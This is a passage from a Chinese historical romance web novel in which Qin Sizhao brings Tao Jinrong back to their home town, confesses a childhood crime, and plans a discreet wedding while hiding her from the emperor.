秦思昭有些心不在焉。 她亲亲热热地搀着他的胳膊。 “终于到了,咱们一起去吧,给你娘亲扫墓,顺便也烧点纸钱。” “不着急,你肚子恐怕饿了,咱们在这附近找个小酒家先吃顿饭吧。这几日舟车劳顿,你都没怎么吃好。” 他把陶金荣往那片墓地的反方向拉了一拉,像是在逃避着什么似的。 二人随便进了一家路边的小店,店里面稀拉拉没有几个人,客人和店主都是熟人,有一搭没一搭地聊着天。 “这里是不是离咱们的老家很近呀。” 她的目光无所事事地四处转悠,好奇地看着周围。 “是很近,驾车一个小时,咱们就回家了。” “那可太好了。” 她一边往嘴里夹了一口面条,一边笑嘻嘻地看着他。 这面条的手艺确实是家乡的味道,周围人说的也都是她能听得懂的方言,她一下觉得好开心。 “我在老家开了一家药铺,目前是我几个徒弟在把持着。” 他垂眸说道: “我怕你回来的时候找不到我,所以在原地等了很久,攒够了盘缠就去找你了。” 秦思昭抿了抿嘴,他说这些并不是有意想让陶金荣感到愧疚,可他也确实希望她能看在这些等待的份上,接受他曾经的罪孽。 即使他的罪孽和她毫无关系,但却是真正的伤天害理,绝不是常人能容。 “让你久等了。” 她有些心疼地看着他,又略带天真地仰起头问: “老家还有没有人记得我?” “放心,左邻右舍都知道我是去找你了。” 他对着她轻轻一笑。 一个胖乎乎的大婶看了过来,仔仔细细地用眼神把他们二人扫了一遍。 她看着秦思昭,往后一仰,猛地拍了下手: “你是不是陶家的那个白白净净的小女婿?” “是我,杨大娘好。” 他冲着杨大娘笑了笑。 杨大娘又仔仔细细地盯着陶金荣的脸看了看。 “这大美人咋不像陶家的那个小丫蛋呢。那个丫崽子脸怵黑不说,还被惯得跟个泼猴似的满街乱跑。” 陶金荣被说得有些生气了,皱着脸抗议道: “怎么不像了!就是我!” “哎,一张口便像了,还是那个皮猴子的味儿,你想不想杨大娘?” 陶金荣噘着嘴,叉着手,一句话都不说。 杨大娘也不跟她计较,只嘿嘿一笑: “真好,年轻人隔了这么久还能在一起可不容易,这下你爹娘可能放心了。” 被杨大娘这么一说,陶金荣也未免眼眶一酸,确实这一路走过来不容易,她爹娘若是九泉之下能得知,想必也能安心了。 “我在外面可想家了……当然也想杨大娘了。” 她低声说道,声音里委委屈屈的。 杨大娘一乐,说道: “孩子能回来就好。” 饭后,陶金荣便拉着秦思昭走了出去,阳光反射在石头和树叶上,路边的扫帚梅堆叠在一起,叶子和花上都沾染了一层黄土,看起来不甚精致娇艳,却有一种怡然自得的美感。 “咱们去给你娘亲扫墓吧。” 她像是忽然想起来了什么似的,从口袋里掏出一小盒胭脂。 “帮我涂上。” 秦思昭无奈地笑了笑,用手帕擦了擦她沾在嘴唇上的一小层浮油,又用指腹细细地帮她涂上了胭脂。 她悄悄地瞥了一眼他的眼睛。 他暗自垂眸,一副心事重重的样子。 他究竟在担心什么呢? 明明是他主动提出来要扫墓,可他的身体为何却不愿意靠近那片墓地? 他在怕什么?逃避着什么? 秦思昭忽然开口问道…… 第82章 “荣儿,你真心愿意和我在一起吗?” 他眉头微微皱了起来,声音越来越微弱,湮没在风刮过树叶的声音当中了。 “当然真心愿意。” 她握紧了他的手,把他往自己这边拉上一拉。 “走吧,我们一起去给你娘亲扫墓。” 秦思昭像是一个正苦苦等待着临场受刑的人一般,沉默了半晌,艰难地决定迈出了这一步。 秦思昭沉默着跟他娘亲扫墓,在上面摆上几样贡品。 陶金荣看了看在他娘的墓碑,出乎意料的是,这是一座孤坟,上面并未写她是谁的妻子,而是写了她的名字,还写了她是秦思昭的母亲。 “阿昭,你爹还在人世间吧。” “不在了。” “那你爹和你娘的坟怎么没放在一起?” 他陷入了沉默,像是很挣扎似的交代了。 “我觉得我娘亲可能不想和他埋在一起。” 他看了看四周,说道: “这里人多,等回去之后,我再和你说。” 孤零零的坟墓目送着二人的离去,夕晖残照,秦思昭一路无话。 陶金荣有些担忧地看着他,却也没主动打破这种死寂。 如果他不愿意和她说话,想保持沉默,那他一定是有自己的理由。 她选择尊重他。 “这里是我爹给我留下的祖屋,很久没收拾过了,有些积灰,你等我打扫一下再进去吧。” 他拿起沾满灰的扫帚,用不停打扫房间的方式来缓解自己心中的焦虑,他得让自己引以为傲的头脑暂时歇一歇,用重复性的劳动来麻痹自己。 他想起陶金荣昨天带着点狡黠,主动亲吻他的样子,心中罪恶感又强了几分。他不能通过欺骗她来换取一份自私自利的感情,他不允许自己那样做。 “荣儿,进来吧。” 陶金荣发现他满眼都是红血丝,下唇被咬得出血了,她不觉得害怕,只觉得担心。 他从井里打了一桶水来,烧开了热水,给她倒了一杯。 “在我八岁那年,我杀了我的父亲。” 待她喝完一杯水,安然地坐在炕上的时候,秦思昭才把自己的罪孽说出口。 他露出一个苦涩的笑容: “犯下这样的罪孽,是不是被五马分尸都不为过?” 陶金荣沉默了半晌,将水杯放好。 “我要听你说前因后果。” “我爹是个秀才,进城去读书考试,走了一年,结果落榜了,回来之后他发现我娘亲的肚子大了起来。” “那一年我才八岁,并不知晓这是出于什么缘故,只知道我爹非常生气,打了我娘一耳光后离家出走了。” 说着说着,他眼眶变得又红又酸,手不停发抖,一滴泪水从侧颊滑了下来。 “我娘……我娘叫我去买绳子,我便去了……我娘给了我好多铜板,叫我出去玩一天……” “回来的时候……回来的时候……我娘亲已经……” 秦思昭只恨自己记性太好,摆不脱,走不出,也忘不掉。 悬挂在半空中的身子晃晃悠悠,他站在一具吊死的尸体面前,恍然认出那是他的亲娘。 “再过一日,我爹便回来了,他抱着我娘的尸体一直大哭。” “我那一年已经认了很多字,书也读了一箩筐,可确实想不通其中的关窍,只觉得是我爹害死了我娘。” “我娘死后,我爹就变了,天天酗酒浑浑噩噩地活着,我当时读了些医书,便给我爹炖了一锅附子羊肉汤补身子,特地多加了些附子的量。” 他痛苦地捂住了自己的脸: “长大后才知道我犯了什么样的罪,我总是忍不住在想,如果我没去买那条绳子,是不是我娘就不会死……是不是我们一家三口还有回到过去的可能……” 他一口气把自己的罪孽尽数吐了出来,弑父是天下最大的罪名,是真正的被五马分尸都不为过的大罪孽。 “阿昭,你那个时候只是年纪太小了。” 她用随身带着的帕子擦了擦他的眼泪。 “我也不知道该怎么评判你的过去,我只能告诉你,你活到现在已经救了很多很多人,我就包括在内。” 她睁大双眼,微微扬起下巴,坚定地看着他,掷地有声地说道: “我可以明明白白地告诉你,如果没有你,我是没有勇气活下去的。” 陶金荣把手放在自己的胸口,微微笑着说道: “但是现在我想活下去,不管发生什么,我都会坚持下去。” 她顿了顿,补充了一句: “当然要和你一起。” 秦思昭抱着她,泣不成声。 曾经他弱小,无助,怯懦,就连自己的母亲都保护不了。 此后,他只想亲手保护这世界上唯一他爱的人。 他与她第一次重逢时,他就在心中暗暗发誓绝对不能让她重复那悲惨的命运。 他现在做到了。 “以后就没什么可怕的了。” 陶金荣轻轻拍了拍他的后背。 “我们已经回家了。” 秦思昭把一只手搭在了她的肩膀上,另一只手擦了擦眼泪。 “荣儿,我们来办一个婚礼吧。” 陶金荣忽然愣了一下,说道: “没什么必要吧,你只要告诉别人,我们已经成亲了不就行了吗?要是办酒的话,还得再花一笔钱。” “没关系,我的药铺一直都开着,是有收入的,离这里不算很远,而且我之前的科举都是作数的,也不用交税,直接通过保荐做个教谕之类的闲职就是了,这个你不必担心。” 陶金荣垂头丧气地说道: “我走的时候没拿身契,而且我的身契好像都被顾时给改了。” “不要紧,我托人重新给你弄个身份就是了。” 她咬了咬牙,心想秦思昭都坦白了一切,她也只能坦白。 “阿昭,你懂不懂偷来的锣儿敲不得,顾时他以为我死了。” 她见秦思昭愣住,便跟着解释道: “原本我都和顾时说好了,要光明正大的走,结果他跟我赌气,把所有宫人都撤走了,留我一个人在宫里,还好有个跟我相熟的宫女帮我走了捷径。结果我前脚刚一走,后脚寝殿便着火了,甚至还找出了一具女尸,顾时就以为我死了,估计现在在宫里没日没夜的抽风呢。” 想起顾时这两个字来,陶金荣就觉得头疼。 究竟是谁那样倒霉死在里头了,这个情况真是对她没一丁点好处,以后都得躲躲藏藏,如同见不得光的老鼠一般。 摆脱了他之后才知道,原来没有他的日子是这样的快活,之前那六年真算是喂狗了。 “以我对他的了解,他绝对得时不时就调查你一下有无婚配,到时候再把我给找出来了。你要不就说我是来投奔你的表姐算了。” “那怎么行?” 秦思昭有些委屈地看着她。 “那我便不做官了,当个夫子教孩子们念书吧。这样便能光明正大地和你结婚了。” “哎,也真是倒霉催的,闹出来这种事,害得你也要跟我一起躲躲藏藏。” 陶金荣低下了头。 “能这样已经很好了。” 他亲了亲她的额头。 “这个屋子条件差了些,先暂且过一夜吧,婚房我早就准备好了,你等着我收拾出来,再给你裁两身新衣裳,绝对不会委屈了你。*” 听到此话,陶金荣有些错愕,她实在是没想到他竟然连婚房都准备了。 “阿昭,你别把自己考上状元了的事往外说,到时候稍微一打听全都知道了,你就只说我被卖给了一个贵妇人当贴身侍女,你把我赎回来了便是。” “你放心,乡亲们只知道我去了会试。” 说实话,秦思昭这个大名文绉绉的,乡亲们普遍没学问,连自己的名字都不会写,更是记不住这个大名,只知道他是陶家那个小女婿,就算有人来打听,乡亲们往往也是车轱辘话反复说,没两句就拐到儿媳妇和公公扒灰之类的事儿上去,打探不出什么。 只要他远离官场,应该就问题不大。 “天色黑了,你饿不饿?” “还好,我中午吃得多,晚上就不吃了。” 说实话陶金荣的习惯就是一天只吃一顿饭,一次吃很多,剩下的时间里要帮家里干活,顾时的那个少吃多餐的脱产贵族范实在是不适合她。 “这被子有些潮,今夜又热,你别盖了,盖我的外衣吧。” 条件有限,他们两个只能一起躺在一张土炕上,他把外衣脱下来盖在她的身上。 陶金荣把他的外衣往回推了一推,有些不耐烦地说道: “哎,这么热的天儿还盖什么盖?我恨不能脱光了睡。” 她把外衣和中衣都齐刷刷地脱了,团吧团吧丢在一旁,只穿着到膝盖处的亵裤和肚兜入睡。 屋里没点灯,秦思昭看不见她穿了什么,一翻身,手不偏不倚地打到了她光滑的肩膀上,他摸到了她锁骨上挂着的一根细细的线,猛地把手缩了回来。 “我……不是故意的……” “你就算是故意的也没事。” 她把身子凑得更近了些,把头倚靠在他的肩膀上。 “今夜有些闷热……” 陶金荣故意靠在他的耳边说,用手指去勾他的手指。 第83章 她的手指轻轻勾着着他的手,指尖传来的暖意一下打消了他有些躁动不安的心思,心里只觉得十分心安。 窗外传来哗啦啦的雨声,空气有些潮湿。 秦思昭的呼吸变得均匀,沉沉地睡着了。 第二天的清晨,秦思昭觉得自己的胸口略有一些沉重,他一低头,发现陶金荣正把自己的头枕在他的胸口,整个人软绵绵地趴在他的身上。 她身上微弱的香粉味道传了上来,他把手放在了她的后背上,直接触碰到了她光洁的皮肤,和几道细细的,固定着肚兜的线。 他的脸瞬间涨得通红,只好急切地低声说道: “荣儿,醒醒,别这样压在我身上。” 他的声音变得有些沙哑,想拍一拍她,可手伸到了一半,又像是想起来是什么似的,悻悻地把手缩回去了。 他只好又催促了一遍: “荣儿,醒醒……” 陶金荣不耐烦地嘟囔着嘴: “阿昭别叫我,我再睡一会儿。” 她好像铁了心要把他的身子当成枕头来用似的,又把头埋得深了一些,。 “别这样……” 他只好红着脸,轻轻把自己的身子往旁边挪了一挪。 可这一挪,他才发现她的腿还勾在他的腿上,像个小铁钩子似的,把他牢牢固定住了,并且还有越勾越紧的趋势。 “荣儿,松开我吧。” 他觉得自己的腿弯渗出了一层薄汗,像被烫了似的一般发热。 她又从他的身后抱了上来,把额头贴在他的后背上。 “荣儿,这大早晨的……你饶了我吧……” 他的声音变得沙哑又急切。 “我渴得不得了,要起来打水去。” 他只好随便找了一个理由来求她放过他。 陶金荣若无其事地翻了个身,继续睡起了懒觉。 她迷迷糊糊地解释了一句:: “我觉多,经常睡到日上三竿。” 秦思昭无奈地叹了口气,给她盖上了自己的外套,认命地去打凉水。 陶金荣睡到自然醒之后,秦思昭已经把自己收拾利索,也把给她洗漱用的热水烧好打来了。 秦思昭有些嗔怪地看着她,把她的中衣披到了她的身上,她便伸直了胳膊,由着他把衣服给她穿上,他又给她拿来了外衣,她虽有些不想穿,但也由着他给她穿好。 秦思昭有些不好意思,实在不知道该怎么说好,便清了清嗓子,红着脸开口说道。 “荣儿,你不穿中衣睡觉,未免也有些太不讲究了些吧……” “无妨,你习惯就好。” 陶金荣打了个哈欠,随口敷衍道。 “……” 秦思昭沉默了半晌,脸颊微红着说: “没关系,正式成亲前,咱们便分房睡就是了。” “不要。” 陶金荣忽然冲过来搂住他的脖子,几乎是整个人挂在他的身上。 “我一个人好害怕,好孤单,我不要一个人睡,就要和你一起。” 秦思昭用袖子捂着自己发热的脸,又不舍得把她推开。 “那荣儿你至少……至少把衣服穿好一点吧。” 听陶金荣如此直白地说上这么一长串,他的脸更加的红了,实在是没见过这个阵仗。 不过听她这样说,他心底却不知为何,非常地开心。 洗漱完后,秦思昭又递给了她一个还热着的包子当“早饭”。 “现在吃就算是中午饭了。” 陶金荣三两口便把包子吃了。 “无所谓,能垫一口就行。” “啊!” 吃完包子,陶金荣忽然惊叫一声,自己的脚底竟然趴着一条小蛇。 “嚯,是蛇,我好久没见到蛇了。” 她只是被忽然吓了一跳,之后便不怕了,反倒兴致勃勃地凑近了去看它。 “你等着,你看我动手去抓它。” 秦思昭看着她微微笑着说: “你小时候总是抓各种虫子回家,什么蜈蚣,土鳖,都往家里拿,结果一回家就是挨一顿打。” 他继续说道: “你别抓了,这种小蛇有轻微的毒性,我去找个扫帚把它扫出去便是。” “嗯,好。” 陶金荣一动不动,和那条小蛇四目相对。 她怕蛇,那蛇还怕她呢。 一条细弱的小蛇罢了,能奈她何。 秦思昭三下五除二便把那小蛇清理出去,又握着她的手,带着她走出了门外。 “这里条件确实是差了些,婚房是我考上举人时分来的,要比这里强上不少,就是略远了一些,得有马车才能去,这里能临时租借的车不多,我的药房后面倒是停了一辆备用的。” 今日太阳有些晒,但昨夜下过了雨,因此也不算很热,一阵清凉小风吹来,陶金荣舒服地眯起了眼睛。 秦思昭侧过脸来说: “天气热,没有换洗的衣裳很恐怕难受吧,还是得去成衣店给你买两身衣裳。药房离这里不远,咱们先去药房吧。” “好。” 她亲亲热热地挽着他的手,亲了他一下。 虽然这样做有些不合礼数,秦思昭觉得有些不好意思,但心里却很开心。 “荣儿,咱们分开这么久,你还能像先前一样喜欢我,我真的好高兴。” 她愣了一下。 说实话,在分开之前她才十四岁,哪懂什么喜欢不喜欢的,只一味愿意和他一起疯玩。 她是在重新认识他之后,才喜欢上他的。 陶金荣低声浅笑: “你真笨,十三四岁的小孩懂什么,我是在你来找我之后才喜欢上你的。” 他的眼珠转了转,说: “那可能我比较早慧?” 她愣了愣,原来她小时候当成玩伴的青梅竹马,竟然对她一直都是抱着那种想法。 不过这并不重要,现在一切都很好,她的生活已经回到正轨了。 二人在树荫下,一路走到了药房。 “咦……这不是,我家吗?” “嗯,我怕你回来后找不到我,所以中举后就把这里买下来了。” 她呆愣愣地看着自己曾经最为熟悉的家,原本以为今生今世只能在梦中重回,如今按照旧时的样式重新盖了起来,房顶的两侧尖尖的,屋顶上铺着灰色的旧瓦。 就连房顶上生着的狗尾草和黑天天,都和她记忆中的一模一样。 两行泪不受控制地从脸颊落了下来。 她终于回家了。 爹娘在九泉之下,也可安息。 她笑着用帕子擦了擦脸上的泪。 “甚好,我这是因为高兴。” 他用手轻轻捏了下她的脸颊, “我知道的。” “小秦师父,您回来啦。” 一个和蔼的中年妇人带着一个十三四岁的男孩走了出来。 秦思昭介绍道: “这是李大娘,算是我的一个远房亲戚吧,丈夫没了,便带着最小的儿子投奔我来了,她是这一片的接生婆,也懂给妇女把脉抓药,在这里帮我打理药房。” 那孩子正在不耐烦的年纪,有些不喜欢跟人拉家常,沉着个脸,转身就往药房里面走。 “哎,虎子!怎么这么没礼貌!不跟小秦师父和他娘子打招呼的!” 李大娘扭头骂了两句,便转身说道: “小秦师父,这孩子就是个犟驴,在家里打不得骂不得,您大人有大量,别跟他计较。” “李大娘,马车现在方便吧,我带我娘子去买两身新衣裳,再准备办酒。” “方便,方便。虎子这孩子我揍不动,您把他带到新房去,给您砍柴洗衣服,好好磨一磨他的性子,要是他不服气你就揍他。” 秦思昭无奈地笑了笑,说实话家中只有他和陶金荣二人才最好,多一个半大不小的崽子实在碍事。 再说这么大的男孩子,其实什么都懂了。 他不太喜欢。 “之后再议吧。我先带我娘子去买新衣服。” 他看出来了陶金荣有些怕生,不怎么想跟李大娘说话,便挽着她的手,扶着她进了马车,自己驾车带着她进城。 成衣店里横竖就那么几样衣服,实在是乏善可陈,这里毕竟是个小地方,即便是最好的衣裳,料子也没法跟她身上这件相比。 她之前为了避免漏财,还特意翻箱倒柜地挑了一身最次的。 她打了个哈欠说道: “无所谓,都差不多,有的穿就行,反正是你出钱,你看着买吧。” 秦思昭拿了两件最好的,对她说: “先临时换着穿,我之后再给你买好一些的。” 他也知道这些衣裳她不大能看得上眼。 “回头我再去采买些结婚用的东西,择个良辰吉日,便把酒给办了。” 门口有个老道士在出摊,见了秦思昭和陶金荣二人便说: “老道我铁口直断,二位郎才女貌,要不要来算上一卦?” 陶金荣看着秦思昭笑道: “这里正好有个老道,咱们去相看相看,看看哪天成婚合适?” 见她高兴,他便也陪着她一起坐下,挨个报了生辰八字。 这道士先是看了看他们两个的脸色,然后缓缓开口说道: “二位命主婚后恩爱,和谐顺遂,这倒是不用担心。” “若是想挑个良辰吉日成婚,依我看下个月的初五就很好。” “只是……只是……” 毕竟这话不大好听,道士想尽量说得委婉一些。 “这位姑娘生得貌美,恐怕要有桃花劫,若是有达官贵人犯了桃花癫,那便不好了,您得稍微藏着点。” 第84章 陶金荣没控制住自己的表情,嘴角开始抽搐了两下,似哭非哭,似笑非笑。 桃花癫……多准确的形容词啊…… 这道士算的还真准。 “行吧……” 她无奈地擦了擦额头上的汗,有些事发生过就是发生过,遇到了也只能认了,除此之外,别无他法。只能说尽人事,听天命,有人就是非要发桃花癫,那她也没什么办法。 “我的妻子我自然能护得住,不用担心。” 秦思昭冲着这老道士说道,陶金荣知道,此话也是说给她听的,心中不禁觉得一阵温暖,安心感油然而生。 这种安心,稳定,温暖可靠的感觉是那六年里她从未体会过的,她想,自己小时候依偎在娘亲身边时,心里就是这种感觉。 因为失去过,所以再得到的时候就会格外珍惜,她看着他眼角那颗小痣,心想自己也要好好珍惜秦思昭才行。 她绝对不能辜负世界上对她最好的人。 陶金荣挽着他,他扶着她上了马车,二人只相视一笑,默契地谁也没提桃花癫那三个字。 下了马车后,陶金荣打眼一看,便笑道: “嘿,这地方倒能算是不错啦。” 三进的院子,独立的正房,既不会太大到难以打理,也不会小到逼仄,干净的青砖砌墙,屋后是一棵亭亭的古树,洒下一片绿荫。 “这地方算是城里,老家毕竟条件还是差了些,我没寻到这样合适的房子。” 他解释道。 陶金荣伸手抚了抚他的鬓发。 “我爹娘若是知道我能住进城里会替我高兴的。” 她看四下无人,便轻轻亲了秦思昭的侧脸一下。 侧脸像是被花瓣拂过似的,秦思昭眨了眨眼。 这几天他被她亲来亲去,也算是有些习惯了,并没有表现出什么特别诧异的表情,只是心里觉得甜丝丝的。 他打开大门,领着陶金荣进去,回过头来,笑着对她说道: “我雇佣李大娘每隔七天过来打理一次,里面应该是干净的。” 他领着陶金荣进了正房,叫她先在这里休息一会儿,他自己去收拾屋子,烧水铺床。 “荣儿,水我烧好了,可以去洗澡,衣服你就先丢在椅子上,一会儿我去洗。” 他把一块擦身子用的布递到了她的手里。 虽然这些杂务她确实是很久都没做过,非常手生,可她自己闲着,看着秦思昭忙前忙后,还是多多少少觉得有些不好意思。 罢了,洗澡的时候顺道把小衣洗了就是。 进了浴房,她三下五除二地就把衣服全部脱下丢到一旁的椅子上,进了热气腾腾的浴桶,水温也正好。 旁边有澡豆子来给她搓洗,她把自己洗干净后,顺道拿了个小木桶,蹲在地上把肚兜和亵裤都一起搓揉干净了,双腕用力把小衣一起拧干。 洗完后,她把自己简单擦干,穿上新买的中衣,拎着洗好了的小衣便走了出去。 “阿昭,在哪晾衣服?” 秦思昭把脸撇到了一旁,耳根子红了,不敢看她。 她的头发还是湿着的,身子也是,中衣只有薄薄的一层,遇到水便软趴趴地贴在她身上,倒是没有透露出肚兜的痕迹……因为她明显没穿,那肚兜就湿漉漉地攥在她的手里。 他伸出手,说: “给我吧,我去给你晾上。” 他拿着她的亵裤和肚兜,走到后院去,把它拧干,他手劲大,还能拧出来不少水来。 他把那肚兜展开,素色的肚兜上绣了几朵淡紫色的小兰花,秦思昭努力地想把她今天早上大大咧咧的样子给忘掉,平心静气地把肚兜晾在晾衣绳上,又用小夹子仔细固定好。 他干活一向很细致,又快又利索,也很擅长收纳东西,这点杂活自然是不在话下。 他远远地看见一个人大大咧咧地便要走进来。 “小秦兄弟,你回来啦?怎么不先告诉你兄弟我一声?还够不够哥们儿?” 这人是李璋,性格大大咧咧,有些自来熟,算是他求学时的同窗,比他大几岁,跟谁都爱套近乎,做过九品芝麻官,结果混不下去,又辞官了。 “你先别进来。” 想到晾衣绳上还挂着陶金荣的小衣,他便赶紧拿着长杆,把他从后门处赶出去。 “从正门走。” 他皱着眉,拎着长杆,语气颇为强硬。 见到他这一副打乞丐似的架势,李璋颇有些生气,指着自己的脸,皱着眉说: “都是兄弟,好不容易见一面,你赶我干啥?” “我娘子还在后院,你贸然进来非常不方便,你从正门走,我先知会一下我娘子。” 李璋泄了气似的,翻了个白眼,笑道: “知道啦,得亏我还给你拿了面粉和鸡,还有几颗我自己种的蔬菜。” 他把自己左手拎着的活鸡高高举起来,那鸡支棱着脑袋,发出一声咕咕咕的悲鸣,示意它还活着。 “东西倒是可以留下。” 这里只有早上有大集可以采买食材,他拎着的一小袋面粉和一只鸡倒还真成了及时雨。 “嘿,小秦,你可真够不客气的。” 李璋笑骂了两句,还是规规矩矩地从正门走了。 秦思昭从后门走了进去,他若是自己住倒不觉得有什么,可是如今他和陶金荣一起,他觉得这里应该养上两只红着眼睛,见了陌生人便冲上去撕咬的大狗才好。 “荣儿,有客人要来,你是留在寝室还是出去见见?” 她已经穿上了一层厚厚的外衣,坐在镜子前梳又黑又厚实的头发,黑发像是纯黑的背景,勾勒出纤细精巧的侧脸线条。 陶金荣对着镜子看了看自己,那外衣偏厚一些,倒是看不出胸前有什么奇怪的地方,头发也基本擦干了。 就是中衣的材质粗了些,有些磨得慌,稍微一动便要脸红。 “有布条子么?我暂且缠一缠。” “怎么,你是要绷带么” 他关切地凑了过来。 “是不是哪里受伤了,赶紧给我看一看。” 陶金荣瞬间红了脸,把他推到一边,胸前又是一阵酥麻微痛,她的脸顿时更红了些。 “叫你拿你便拿来,你不懂。” “怎么?是来月事了么?我知道月事带怎么做,要保持干净才行,这很正常,没什么可不好意思的。” “不是……没来月事。” 若是来月事了,她也不至于脸红成这个样子,月事也不过是每个月都来一次,有什么可大惊小怪的。 她低下头怯怯地说: “快点去拿,别多问了。” 秦思昭叹了口气,只好乖乖地去拿了纱布递给她。 “你先出去一下。” 她有些嗔怪,面颊微红。 秦思昭虽心思细,但却也不明所以,心中有些疑惑地出去了。 陶金荣脱掉上衣,把布条紧紧地缠在了胸上,把它固定好,再把中衣和外衣一件一件地穿了回去。 她又用一根素簪子,把头发简单绾了起来,确定自己看起来端庄无碍之后,才大大方方地走了出去。 秦思昭就站在外面等她,她眼睛亮晶晶的,对着他笑道: “走吧,别让客人久等了。” 鸡在院子里用鸡爪爬来爬去,脖子一伸一缩,用尖锐的鸡嘴到处叨叨叨地啄草籽和小虫。 李璋坐在外面待客的屋子里,心里直犯嘀咕,这秦思昭之前就总说进京赶考是为了有盘缠去找他失散在外的娘子,他从来没信过。 毕竟想把自己家闺女嫁给他的老丈人实在是太多了,他一直以为那就是个挡桃花的幌子,没想到还真的让他找着了,他倒想看看是什么样的美人能让他惦记这么久,可真是稀奇。 秦思昭提着一个水壶和一个茶杯过来了。 “还没买茶叶,你凑合喝一口热水吧,难为你大热天拿了那么多东西过来。” 他抬头一看,秦思昭身后站着一个一袭素衣的姑娘,她没有半点妆饰,只戴了一根素钗,看起来有点傲慢,不太喜欢搭理人的样子。 他看见陶金荣的脸,便恍然大悟,怪不得秦思昭要千里迢迢地去找她。 可是这么漂亮的姑娘,流落在外那么久…… 他觉得自己还是少说话为好。 “这是我的同窗,李璋。” “哦……” 陶金荣还是有点怕生的,面色有些尴尬。 “这是我娘子,姓陶。” 李璋开始拉起了家常: “小秦兄弟,你乡试中了没?好久没听到你的消息了。” “没,就是攒点钱当盘缠,去找我娘子罢了。” 李璋决定还是不细问是从哪找到的了,索性换了话头: “回来之后打算干点什么不?” “先多陪一陪我娘子吧,等闲了再去当个教书先生。” “咱们这儿的县丞儿子十岁,正缺个教书先生呢,你要不要去毛遂自荐一番?” “罢了,暂且不缺银两。” 此话不假,他早就已经做好了把陶金荣从青楼里赎回来的心理准备,这六年里他省吃俭用地攒了一大笔银两。 好在情况比他想象中的要乐观许多。 他看着她怯生生地站在他身后的样子,莫名的一阵心软。 “这县丞老来得子,求贤若渴,指不定要主动上门,三顾茅庐呢……” 秦思昭一听便觉得头疼,还是千万别来的好。 第85章 陶金荣没有身契,此事是一个隐患,她说得没错,他确实不应该敲锣打鼓地宣布娶妻,自己还是先私下托个人给她办一个假身份瞒混过去,这些乱七八糟的人情往来和应酬就能省便省吧。 小地方户籍管理混乱,有几个黑户也是常事,在这里居住的很多人甚至一辈子都没有自己的大名,倒也方便藏一个大活人。 “还是罢了,我现在只想回家陪我的妻子,你别到处声张我回来了的事。” “不是,咱们老家就你一个文曲星进乡试了,谁不认识你?你一回来,一传十,十传百,大家都知道了。而且,有个什么疑难杂症都等着你来治呢,不找你找谁。” 光是听他这样一说,秦思昭便觉得头疼。 京城里大人物太多,他便觉得自己是个平平之辈,差点忘了自己在这个小地方里也算个响当当的大人物了。 秦思昭眸底神色一暗,默默盘算了起来。 若是京城那边真的找起她来,也肯定会优先在家乡这一带来找,如果他办了婚契,那便能轻而易举地查出来,到时候会看起来非常可疑…… 要不他还是先带着陶金荣换个地方,暂且避避风头,等局势稳定了再回来。 “哦对了,还好你回来得早,最近税变重了,世道不好,一些地方的治安也下滑了很多,我听说很多别的地方出现山匪劫道了,千万不要乱走。” 秦思昭皱着眉头,垂着眼帘说道: “多谢李兄告知。” 他默默地叹了口气。 好在家乡还算是民风淳朴,规矩不大,来往自由,没什么太离谱的事,这一带的居民彼此都很熟悉,几乎都是自小看到大的,总有用得着别人帮忙的时候,互相都留着三分薄面。 这个地方医疗水平不高,他之前自己背了两本医书就敢帮别人看病,一来一往也积攒下了不少人情,在这里他还能很好地保障他和陶金荣两个人的生活。 不管是哪里,小地方都是熟人抱团,他若是和陶金荣两个人贸然前往不熟悉的村落,确实难以融入不说,安全风险也大。 陶金荣忽然提高了声音的调子,开口问道: “什么?怎么回事?最近税又变重了吗?” 她心口一颤,心中顿时产生了不好的预感。 原本她都已经跟顾时说清楚了要分开,可是他却误会她现在已经死了……此事确实留了些隐患。 她焦虑地咬紧了下唇,若是他有一天发现她没死,一切都是一场误会,后果简直难以估量!原先她天天和他混在一起,他能做出什么事来,她心里也有数,可现在就连她也难以预测到时候他究竟会做出什么疯事来。 陶金荣咬了咬牙,有些后悔当时因一时意气走了,她应该回去告知一下顾时她还活着,再光明正大地走,才能永绝后患。 可是现在,后悔也晚了。 李璋打了个哈哈说道: “可不是吗,原先是一年收一次税,现在嘛,不知道什么时候就来一趟,多少都刮走点。” 陶金荣嘀咕道: “他要那么多钱干什么用呢……” 她眉毛拧了起来,心中觉得非常纳闷。 他现在就一个人,再怎么享受,能花多少钱?宫女还裁了一批呢,说是开源节流。难不成是为了打仗?好像也没听说有什么紧迫的战事。剿匪?也不见干出什么成效来。 陶金荣苦笑了一下,莫非她想不到钱有什么去处,是因为她没当过官,也没念过多少书,脑子不行?还是说不识庐山真面目,只缘身在此山中,太熟了反倒看不清局势。 还不如先听听别人怎么说。 李璋喝了口水,苦笑道: “圣心难测,不敢妄言,可能是想大兴土木吧……不过前几年的治理还是可以的,税务不重,也扶持了一些地方的商业,该建设的也都建设过了,只是一些大型的设施还在建设中。” 他的说法让陶金荣觉得有些莫名其妙,她越想越觉得不对劲,肯定不是像他说的那样。 虽然她不懂治国,但是她懂顾时啊。 陶金荣咬着牙,露出一副恨恨的表情,把手搭在了自己的下巴上。 依她对他的了解,他这个做法,明显就是在自毁长城。 要么就是他暗自憋了个什么损招,要么就是他已经精神崩溃了,干脆就使劲祸害别人,等着别人忍无可忍把他弄死呢。 圣心难测个屁啊……他就是单纯在发癫。 她知道顾时眼光不错,基本上押中的买卖都能做起来,而且要是他真的缺钱,早就去想法子抄几个贪官的家了。 之前他总干这种事儿,先把贪官哄得以为自己不可一世,再挑拨离间让其他大臣对他积怨,最后抄家。 从那些贪官家里抄出来的金银首饰,第二天就光明正大地戴在她的头上,顾时基本都是先让她去随便挑。 现在她还记得被流放的那一家子,是如何蓬头垢面地坐在牢车里,扭着头,用几乎要吃人似的表情看着她,她头上就戴着那他们从异域走私来的红珊瑚,大摇大摆地招摇过市,还挑衅地看了他们一眼。 现在想想,真是晦气。 这样的晦气事还不止一桩。 有一次她看一个姑娘戴了一条紫水晶项链,从未见过,颇为新鲜,她便没忍住多看了两眼,顾时似乎是半道想起来了似的,顺手把那个姑娘的家也抄了,据说她父亲官职不大,但贪得比高官还要多,属于是意外之喜。 顾时一边把那紫水晶项链挂在她的脖子上,一边在她耳边滔滔不绝地讲起了那姑娘一家子的种种惨状。 如今想起来,他是想用那姑娘一家的境遇来敲打她,她当时年纪小,一丁点都没听出来,反倒高兴地拍起手来说死得好,她最讨厌来收税的小吏。 现在想起来,陶金荣也是觉得他们死得好。 只是如今她可不敢再戴那血肉养出来的金银珠宝,怕不小心承担了他们一家子的业力,那份血淋淋的福气她可享受不起。 